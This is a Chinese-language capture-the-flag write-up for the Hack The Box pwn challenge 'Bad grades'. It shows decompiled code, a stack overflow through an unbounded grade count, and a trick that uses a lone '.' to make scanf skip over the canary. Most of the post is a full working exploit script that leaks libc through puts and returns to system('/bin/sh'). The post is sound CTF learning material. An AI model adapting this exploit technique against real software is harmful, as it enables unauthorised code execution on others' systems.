selph
selph
发布于 2024-05-23 / 78 阅读
0
0

[HTB] pwn - Bad grades

简单的题也有很多小细节上的知识收获

analysis:

checksec:无PIE,其他全开

Bad grades ➤ checksec bad_grades
[*] '/mnt/c/Users/selph/Downloads/HTB/pwn/Bad grades/bad_grades'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fc000)

main:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // ecx
  int v4; // r8d
  int v5; // r9d
  int v6; // ecx
  int v7; // r8d
  int v8; // r9d
  int v10; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v11; // [rsp+8h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  sub_400EA6(a1, a2, a3);
  printf("Your grades this semester were really ");
  sub_400ACB((unsigned int)"good", (unsigned int)"green", (unsigned int)"deleted", v3, v4, v5);
  sub_400ACB((unsigned int)" BAD!\n", (unsigned int)"red", (unsigned int)"blink", v6, v7, v8);
  printf("\n1. View current grades.\n2. Add new.\n> ");
  __isoc99_scanf("%d", &v10);
  if ( v10 == 1 )
    sub_400F1A();
  if ( v10 != 2 )
  {
    puts("Invalid option!\nExiting..");
    exit(9);
  }
  sub_400FD5();
  return 0LL;
}

程序里的sub_400ACB是打印彩色字体的,不用管

主要就看输入输出,这里是输入1或者2选项,输入1程序不受控,输入2即可,进入下一个函数:

unsigned __int64 sub_400FD5()
{
  int v1; // [rsp+0h] [rbp-120h] BYREF
  int i; // [rsp+4h] [rbp-11Ch]
  double v3; // [rsp+8h] [rbp-118h]
  double v4[33]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v5; // [rsp+118h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v3 = 0.0;
  sub_400ACB("Number of grades: ", "cyan", "bold");
  __isoc99_scanf("%d", &v1);
  for ( i = 0; i < v1; ++i )
  {
    printf("Grade [%d]: ", (unsigned int)(i + 1));
    __isoc99_scanf("%lf", &v4[i]);
    v3 = v4[i] + v3;
  }
  printf("Your new average is: %.2f\n", v3 / (double)v1);
  return __readfsqword(0x28u) ^ v5;
}

输入需要输入的浮点数个数,这里个数可控,存在溢出,无PIE可以写ROP去drop shell

然后输入浮点数,这里需要十六进制转浮点数的函数,用pack函数即可实现

小细节:这里存在一个问题,就是canary如何绕过,这里有一个小细节:如果输入仅仅是一个单独的小数点(.),而没有后续的数字部分,那么scanf()函数就无法成功读取一个完整的浮点数,因此它会跳过这个无效的输入,并返回0作为读取的项目数。由此让scanf不进行输入,且成功执行完返回,由此跳过对canary的覆盖,进行返回地址修改

exploit:

hex to double:用格式化d去解包十六进制

def hex_to_double(val):
        # we need to make sure it is 8 bytes so use 64bits packer
        val = p64(val).hex()
        # print(val) # debug to see if there is "0x" infront
        # return in double (little endian)
        val = struct.unpack('d', bytes.fromhex(val))[0]

        # our input must be in string when sending over to the server
        return str(val).encode()

full exp:

#!/usr/bin/env python3

from pwncli import *
cli_script()
set_remote_libc('libc.so.6')

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def hex_to_double(val):
        # we need to make sure it is 8 bytes so use 64bits packer
        val = p64(val).hex()
        # print(val) # debug to see if there is "0x" infront
        # return in double (little endian)
        val = struct.unpack('d', bytes.fromhex(val))[0]

        # our input must be in string when sending over to the server
        return str(val).encode()

def add_grade(grade: bytes):
    sla(b"]: ",grade)

def sendrop(rop:ROP):
    dump = rop.dump()
    print(dump)
    tmp = dump.split("\n")
    for i in tmp:
        tmp2 = i.split("0x")[2].split(" ")[0]
        tmp3 = hex_to_double(int(tmp2, 16))
        add_grade(tmp3)


# get libc base
sla(b"> ",b"2")
sla(b"Number of grades: ",b"39")

for i in range(35):
    # dot(.) can skip the input
    add_grade(b".")

rop = ROP([elf])
rop.puts(elf.got.puts)
rop.raw(0x400fd5)

sendrop(rop)

# get leak
ru(b"Your new average is")
rl()
laek = rl()[:-1]
leak = unpack(laek,'all')
print(hex(leak))

libc.address = leak - libc.sym.puts
log.success(f"libc.address: {hex(libc.address)}")

# get shell
sla(b"Number of grades: ",b"39")
for i in range(35):
    add_grade(b".")

rop = ROP([elf,libc])
rop.raw(rop.find_gadget(['ret'])[0])
rop.system(next(libc.search(b"/bin/sh")))

sendrop(rop)

ia()

summary:

  • 收获1:scanf接收浮点数,可以用.来作为无效输入完成函数返回
  • 收获2:用unpack函数,通过格式化功能,可以将hex转换成任意目标类型,例如浮点数

评论